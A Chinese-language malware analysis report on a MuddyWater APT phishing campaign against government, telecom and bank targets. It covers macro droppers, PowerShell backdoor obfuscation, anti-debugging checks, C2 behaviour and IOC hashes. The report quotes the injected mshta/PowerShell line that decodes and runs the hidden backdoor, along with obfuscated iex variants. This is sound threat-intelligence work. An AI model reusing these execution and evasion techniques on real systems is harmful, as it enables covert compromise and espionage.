1.背景
根据腾讯反病毒实验室的安全大数据显示,自2017年11月以来,国外APT组织“污水”(MuddyWater、T-APT-14)发起了新的一轮网络攻击活动,此轮攻击活动的攻击目标扩展到塔吉克斯坦、巴基斯坦、土耳其等国,在这轮攻击活动中该APT组织对土耳其表现出强烈的关注。本文将结合腾讯反病毒实验室捕获的攻击样本对此轮攻击活动进行分析。
1.1 “污水”(MuddyWater)介绍
“污水”(MuddyWater、T-APT-14) APT组织从2017年开始一直活跃,该APT组织主要针对中东国家。该APT组织显著的攻击行为特点为善于利用powershell等脚本后门,通过Powershell在内存中执行,减少新的PE文件在受害者机器落地,这种方式使的该组织的样本有着较低的检测率,另一方面也加大了安全机构的取证难度。MuddyWater多以间谍活动的动机。此前的主要受害者分布在巴基斯坦,沙特阿拉伯,阿联酋和伊拉克等也是该组织的攻击目标。从受害者所在的行业特征看,政府,电信公司和石油公司是该组织的主要目标。通过追踪该APT的行动,怀疑该APT可能来自于伊朗。
1.2 此轮攻击中的一些特点
该轮攻击与以往的攻击相比,有着下面的相同点:
攻击目标相似。此次攻击的攻击目标为巴基斯坦和土耳其等国,以往该组织对这些国家发起过攻击活动,只不过该轮攻击中更加侧重于土耳其的政府机构。
钓鱼文档结构类似。在历次的攻击过程中,该组织的钓鱼文档中经常带有输入框和按钮控件。从钓鱼文档的元属性上看,文档版本多为983040和1048576这两个版本。
使用的技术相通。该组织以往就习惯以js,powershell做为后门工具。此次攻击使用了powershell做为后门程序,全程没有PE文件参与。Powershell后门的结构与以往类似。
使用的CC地址结构相似。此次的样本中会依次尝试与517个地址进行尝试通信,以往该组织的样本也会与数十数百的地址尝试通信确定真正的CC。此外,该次攻击在代码层面上,与以往的攻击相比,也有着一些不同之处:
此次使用的powershell后门中,后门的出错处理中包含“无法访问本地计算机寄存器”,“任务计划程序访问被拒绝”,“无法连接到网址,请等待龙...”等,注意这里“请等待龙”这句语法不通的中文,极有可能是攻击者通过谷歌等翻译而来,攻击者故意将该中文留在代码中,以混淆安全人员对攻击的溯源。这极有可能是该APT组织为了混淆安全人员采用的假旗行动。
1.3 近期活动时间线
此轮的攻击活动从时间上看,起始于2017年11月。从钓鱼文档的元属性上看,文档版本多为983040和1048576。一些钓鱼文档作者属性为“GIGABYTE”,这波攻击涉及的行业主要包括银行部门、电信部门及政府部分(包括外交部、发展委员会、内政部等)。根据近期攻击活动绘制的攻击时间轴如下:
2. 攻击过程及特点
MuddyWater的攻击过程主要分为下面两种:
1. 使用精心构造的钓鱼文档,诱使目标人员打开文档并启用文档宏,文档中的恶意宏执行后,向文件系统写入vbs脚本及编码过的powershell文件,随后加载vbs脚本,vbs脚本运行后解码powershell后门执行,与CC进行通信
2. 使用精心构造的钓鱼文档,诱使目标人员打开文档并启用文档宏,文档中的恶意宏执行后,向文件系统写入sct脚本,inf文件及ini文件(ini文件为编码过的powershell内容),随后使用系统程序cmstp.exe加载inf执行,inf会加载sct中的javascript代码,最终解码powershell后门执行,与CC进行通信。部分钓鱼文档显示内容如下:
钓鱼文档中嵌入了恶意宏代码,对宏的调试过程如下图所示
宏代码会释放InstallConfNT.vbs和ProjectConfManagerNT.ini到C:\ProgramData\ZIPSDK目录下。其中的InstallConfNT.vbs文件由微软的测试打印脚本修改而来,在InstallConfNT.vbs文件的第991行代码处,加入了恶意的eval函数
第991行的要执行的内容为:
WScript.CreateObject("WScript.Shell").Run"mshtavbscript:Close(Execute(""CreateObject(""""WScript.Shell"""").Run""""powershell.exe-w
1 -exec Bypass -nologo -noprofile -c
iex([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String((get-contentC:\ProgramData\ZIPSDK\ProjectConfManagerNT.ini))));"""",0""))",0
从上面代码看出,宏代码会解码ProjectConfManagerNT.ini中的数据执行,ProjectConfManagerNT.ini的内容如下:
ProjectConfManagerNT.ini文件中保存的为编码过的powershell后门程序。
Powershell后门
ProjectConfManagerNT.ini解base64后,代码如下
上面代码块对应的真正代码如下:
这里包含三个代码块,第一个代码块为配置信息,第二个代码块为后门使用的加解密函数,第三块代码为真正的后门程序,每部分代码之间通过iex运行后联接起来。从上图中,可以看到对iex命令的多种不同的混淆方式(第二种与第三种大小写混写混淆):
( $ENv:COMSpEC[4,15,25]-jOin'') |
---|
( $eNV:PuBlIc[13]+$eNV:pUBlIc[5]+'X') |
( $Env:pUblIC[13]+$ENv:PuBLIC[5]+'X') |
其中的第一块代码,通过字符串的replace进行混淆
第二块代码,通过设置”APWNeh"环境变量,将该环境变量倒序连接,得到第二块代码的实际内容:
由于整个文件相当大,我们总结如下:第一块代码经过层层解码后,最终的代码如下:
整理后:
可以看到这部分代码主要是进行后门参数的设定,部分参数如下:
参数 | 值 |
---|---|
${URL} | |
${Url_SerIlIze} | |
${TemppATh} | C:\ProgramData\ZIPSDK\ |
${cOUNtRy_urL} | http://apinotes.com/ipaddress/ip.php?ip= |
${GeT_vAliDiP} | https://api.ipify.org/ |
${fileNAmEPAThv} | InstallConfNT.vbs |
${FilENAMePathP} | ProjectConfManagerNT.ini |
${pRivatE} | 959 713 |
${pUbLIC} | 37 437 |
${hKlm} | HKLM:\Software\ |
${hKcU} | HKCU:\Software\ |
${valUe} | kaspersky |
${SYsiD} | |
${dRAGON_miDdLE} | 517个url地址,用来进行CC通信 |
第二部分代码以sV ("A"+"PW"+"Neh") ( "…”)开始,通过sv设置环境变量APWNeh,随后对该环境变量做转换,最终解码出的内容如下,主要实现了后门程序的通信协议的加解密:
第三部分代码块将内置的字符串通过split函数分隔后,通过bxor进行异或操作还原出真正要执行的代码,此为真正的后门主体后门的功能有:获得当前系统信息
根据进程名检测调试环境,如果在调试环境下,调用系统函数shutdown关闭计算机:
检测调试环境时,检测的进程名程有:
win32_remotewin64_remote64ollydbgProcessHackertcpviewautorunsautorunscfilemonprocmonregmonprocexpidaqidaq64ImmunityDebuggerWiresharkdumpcapHookExplorerImportRECPEToolsLordPEdumpcapSysInspectorproc_analyzersysAnalyzersniff_hitwindbgjoeboxcontroljoeboxserver
降低word安全配置,并设置开机启动功能。开机启动使用了两种方式实现:添加RUN注册表项和计划任务。
后门支持的主要功能有三个:屏幕截取,文件上传,远程加载powershell脚本执行:
而与后门通信的CC地址,在上面介绍的第一块代码的配置中设置,内置了517个地址,后门依次尝试与这517个地址进行通信,如果连接成功,则以当前地址做为CC地址。这些地址都以db_template.php结尾,极可能为黑客在网络上攻陷的合法主机,另外,有些地址会带有两个“/”(如http://2mmg[xxxxx].com//db_template.php),猜测地址由黑客自动生成,没有进行严格校验所致,而且这种在URL地址中出现两个“/”的错误在该APT组织以往的攻击中也出现过。
后门指令功能的进化
对比以往该组织的后门指令,该后门指令进行过二级升级,分别介绍如下:
1. 原始的后门指令,只有“加载powershell执行”单一的后门功能。
2. 第一次的指令升级中,增加了截屏与上传功能。后门指令包含了三种:
后门指令 | 功能 |
---|---|
screenshot | 截取屏幕 |
upload | 将截取的截屏图像上传到服务器 |
默认 | 加载powershell执行 |
3. 第二次的指令中,最显著的改变为使用了DCOM加载脚本执行的技术手段。此时的后门指令有:
后门指令 | 功能 |
---|---|
screenshot | 截取屏幕 |
excel | 使用excel DCOM加载powershell脚本执行 |
outlook | 使用outlook DCOM加载powershell脚本执行 |
risk | 使用“9BA05972-F6A8-11CF-A442-00A0C90A8F39”对应的DCOM加载powershell执行 |
upload | 将截取的截屏图像上传到服务器 |
默认 | 加载服务器指定的powershell命令 |
其中,使用DCOM加载powershell执行的方法在https://github.com/rvrsh3ll/Misc-Powershell-Scripts/blob/master/Invoke-DCOM.ps1中有介绍。此时,指令分发的代码片段如下:
3.扩展
在对攻击塔吉克斯坦的样本中,发现有“CMG="848650DE506654665466546654"”字符串,这里的CMG标识了文档中的VBA的工程保护状态。通过搜索引擎可以找到使用相同加密方式的文档,从搜索引擎中找到美国联邦学生援助办公室的网站(https://studentaid.ed.gov)的链接,这说明美国教育部下的美国联邦学生援助办公室的网站曾被黑客入侵后并置入恶意文档,用来水坑攻击。
从对银行的攻击样本中,同样的有“CMG="21238DCB91CB91CE96CE96"”字串,在搜索引擎上找到几个被置入恶意文件的博彩类网站。
4.总结
MuddyWater APT组织近年来来持续活跃在中东地区,从2017年被曝光以来该APT组织不但没有停止攻击,反而更加积极的改进攻击武器。从该组织的TTPs上来看,该APT组织的积极探索非PE文件后门,目前该APT组织有着成熟的js、powershell后门程序和完整的混淆反查杀流程。因此,我们提醒广大政府、企业等广大用户,切勿随意打开来历不明的邮件附件,同时安装安全软件。目前,腾讯御界高级威胁检测系统已经可以检测并阻断该轮攻击的连接行为。御界高级威胁检测系统,是基于腾讯反病毒实验室的安全能力、依托腾讯在云和端的海量数据,研发出的独特威胁情报和恶意检测模型系统。凭借基于行为的防护和智能模型两大核心能力,御界高级威胁检测系统可高效检测未知威胁,并通过对企业内外网边界处网络流量的分析,感知漏洞的利用和攻击。通过部署御界高级威胁检测系统,及时感知恶意流量,检测钓鱼网址和远控服务器地址在企业网络中的访问情况,保护企业网络安全。
5.IOC
文档HASH | 目标 | 文档创建日期 | 文档版本 | 释放的非PE文件 |
---|---|---|---|---|
d632c8444aab1b43a663401e80c0bac4 | 土耳其武装军队 | 2018/2/21 10:23 | 1048576 | Defender.sct DefenderService.inf WindowsDefender.ini |
24e1bd221ba3813ed7b6056136237587 | 土耳其发展委员会 | 2018/2/14 16:38 | 1048576 | InstallConfNT.vbs ProjectConfManagerNT.ini |
5bd61a94e7698574eaf82ef277316463 | 土耳其内政部 | 2018/1/21 12:42 | 983040 | WindowsNT.ini WindowsNT.vbs |
6c997726d502a68af2ac2e3563365852 | 塔吉克斯坦外交部 | 2017/12/31 7:07 | 983040 | system.ps1 system.vbs |
bf310319d6ef95f69a45fc4f2d237ed4 | 银行机构 | 2017/12/19 8:18 | 983040 | Defender.sct DefenderService.inf WindowsDefender.ini |
5466c8a099d1d30096775b1f4357d3cf | 巴基斯坦国民议会 | 2017/12/4 11:14 | 983040 | Defender.sct DefenderService.inf WindowsDefender.ini |
cf3d8ee38a1c04d552d8fb8b80454c68 | 电信Telenor公司巴基斯坦分公司 | 2017/11/8 9:52 | 983040 | system.ps1 system.vbs |
1de684f66a87cdf8485f95693d188596 | 冒充nsa组织 | 2017/11/6 15:53 | 983040 | system.ps1 system.vbs |
部分尝试连接的CC地址:
*本文作者:腾讯电脑管家,转载请注明来自FreeBuf.COM